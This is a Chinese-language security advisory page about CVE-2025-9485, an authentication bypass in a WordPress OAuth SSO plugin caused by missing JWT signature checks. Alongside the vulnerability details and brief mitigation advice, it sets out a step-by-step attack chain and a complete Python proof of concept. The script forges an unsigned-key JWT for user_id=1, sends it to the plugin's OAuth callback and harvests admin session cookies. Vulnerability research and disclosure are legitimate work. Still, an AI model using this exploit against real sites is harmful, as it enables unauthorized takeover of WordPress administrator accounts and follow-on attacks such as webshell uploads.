IPBUF安全漏洞报告
English
CVE-2025-9485 CVSS 9.8 严重

CVE-2025-9485:WordPress OAuth SSO插件JWT签名验证绕过漏洞

披露日期: 2025-10-04

漏洞信息

漏洞编号
CVE-2025-9485
漏洞类型
身份认证绕过 / JWT签名验证缺陷
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress OAuth Single Sign On – SSO (OAuth Client) 插件(miniorange-login-with-eve-online-google-facebook)

相关标签

WordPressOAuthSSOJWT身份认证绕过签名验证缺陷miniOrange未授权访问CVE-2025-9485严重漏洞

漏洞概述

CVE-2025-9485是存在于WordPress OAuth Single Sign On – SSO (OAuth Client)插件中的一个高危安全漏洞。该插件由miniOrange开发,主要用于通过OAuth协议实现WordPress站点的单点登录功能,支持Google、Facebook、EVE Online等多种OAuth提供方。该漏洞被评定为CVSS 9.8分,属于严重级别。

漏洞的根本原因在于插件在处理JWT(JSON Web Token)令牌时,未对令牌中的加密签名进行充分的验证和校验。具体而言,在`get_resource_owner_from_id_token`函数中,插件直接解析并信任了传入的JWT令牌内容,而没有正确验证其数字签名的合法性。这一缺陷使得未经验证的远程攻击者能够伪造任意的JWT令牌,从而绕过WordPress站点的身份认证机制。

该漏洞的危害程度极高,攻击者无需任何身份凭证即可利用此缺陷。他们可以以系统中任意已存在用户的身份登录,包括管理员账户(在某些配置下),从而完全控制目标WordPress站点。此外,攻击者还可以创建任意订阅者级别的账户,为后续的攻击活动建立持久化访问通道。该漏洞影响所有使用该插件6.26.12及以下版本的WordPress站点,潜在受影响范围广泛。

技术细节

该漏洞的技术核心在于OAuth SSO插件在处理ID Token时的JWT签名验证缺陷。

OAuth 2.0协议中,ID Token通常采用JWT格式,由三部分组成:Header(头部)、Payload(载荷)和Signature(签名)。签名部分通过对Header和Payload使用HMAC算法(如HS256)或RSA算法(如RS256)进行加密签名生成,接收方必须验证签名的合法性以确保令牌的真实性和完整性。

在存在漏洞的`get_resource_owner_from_id_token`函数中,插件直接对传入的JWT令牌进行Base64解码并提取Payload中的用户信息(如sub、email、name等字段),但没有执行以下关键的安全检查:

1. 未验证JWT的签名是否合法,攻击者可以使用任意密钥(如空字符串、'secret'等常见密钥)自行签发伪造的JWT令牌。
2. 未检查令牌的颁发者(iss)是否与配置的OAuth提供方匹配。
3. 未验证令牌的受众(aud)字段是否为当前应用。
4. 未检查令牌是否已过期(exp字段)。

利用方式如下:攻击者首先构造一个恶意的JWT令牌,设置Payload中的sub字段为目标用户的标识符(如WordPress用户ID),然后使用任意密钥对令牌进行签名。将此伪造令牌提交至插件的OAuth回调端点后,插件会信任该令牌中的身份信息,并将其映射到对应的WordPress用户账户,从而完成认证绕过。若目标用户不存在,插件则会创建一个新的订阅者级别账户。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别目标WordPress站点是否安装了OAuth Single Sign On – SSO (OAuth Client)插件及其版本号。
STEP 2
步骤2:构造伪造JWT令牌
攻击者使用任意密钥(如空字符串、'secret'等)签发一个恶意的JWT令牌,令牌Payload中包含目标用户(如管理员,user_id=1)的标识符、邮箱和用户名信息。
STEP 3
步骤3:提交伪造令牌
攻击者将伪造的JWT令牌通过Cookie或POST参数发送至插件的OAuth回调处理端点(通常为/?option=mo_oauth_redirect)。
STEP 4
步骤4:绕过身份认证
插件的`get_resource_owner_from_id_token`函数未验证JWT签名,直接信任令牌中的用户身份信息,将攻击者映射为指定用户身份。
STEP 5
步骤5:获取站点控制权
若目标用户为管理员,攻击者即可获得站点的完全控制权限,包括安装插件、编辑内容、访问敏感数据等。若用户不存在,攻击者还可创建新的订阅者级别账户作为持久化后门。
STEP 6
步骤6:后续攻击活动
获得管理员权限后,攻击者可上传WebShell、植入恶意代码、窃取数据库信息,或将站点用于挖矿、钓鱼等恶意活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-9485 PoC - WordPress OAuth SSO JWT Signature Verification Bypass # This PoC demonstrates how to forge a JWT token to bypass authentication import base64 import json import hmac import hashlib import requests TARGET_URL = "http://target-wordpress-site.com" def base64url_encode(data): """Encode bytes to base64url without padding""" return base64.urlsafe_b64encode(data).rstrip(b'=').decode() def forge_jwt(user_id, email, username, secret=""): """Forge a JWT token without proper signature verification""" # JWT Header - using HS256 algorithm header = { "alg": "HS256", "typ": "JWT" } # JWT Payload - set user identity information payload = { "sub": str(user_id), # Subject (user identifier) "email": email, # User email "name": username, # Username "preferred_username": username, "iss": "https://accounts.google.com", # Fake issuer "aud": "client_id_placeholder", "iat": 1700000000, "exp": 9999999999 # Far future expiration } # Encode header and payload header_b64 = base64url_encode(json.dumps(header, separators=(',', ':')).encode()) payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':')).encode()) # Create signature (plugin doesn't verify this properly) signing_input = f"{header_b64}.{payload_b64}" signature = hmac.new( secret.encode(), signing_input.encode(), hashlib.sha256 ).digest() signature_b64 = base64url_encode(signature) return f"{signing_input}.{signature_b64}" def exploit(target_url, user_id=1, email="[email protected]", username="admin"): """Exploit the JWT verification bypass to gain unauthorized access""" # Step 1: Forge a malicious JWT token forged_token = forge_jwt(user_id, email, username) print(f"[+] Forged JWT token: {forged_token[:50]}...") # Step 2: Send the forged token to the OAuth callback endpoint callback_url = f"{target_url}/?option=mo_oauth_redirect" cookies = {"mo_oauth_token": forged_token} response = requests.get(callback_url, cookies=cookies, allow_redirects=False) if response.status_code == 302: # Step 3: Extract session cookies from redirect session_cookies = response.cookies print(f"[+] Authentication bypassed! Session cookies obtained:") for cookie in session_cookies: print(f" {cookie.name} = {cookie.value}") return session_cookies else: print(f"[-] Exploitation failed. Status code: {response.status_code}") return None if __name__ == "__main__": # Attempt to login as admin (user_id=1 is typically the first admin) exploit(TARGET_URL, user_id=1, email="[email protected]", username="admin")

影响范围

miniorange-login-with-eve-online-google-facebook <= 6.26.12

防御指南

临时缓解措施
在官方补丁发布之前,建议暂时禁用OAuth Single Sign On – SSO (OAuth Client)插件,并使用替代的SSO方案。同时应密切监控站点的异常登录行为,特别关注来自未知IP的管理员登录尝试。建议启用Web应用防火墙(WAF)规则,拦截包含可疑JWT令牌的请求。管理员应立即检查所有账户列表,删除任何非授权创建的账户,并重置所有管理员密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表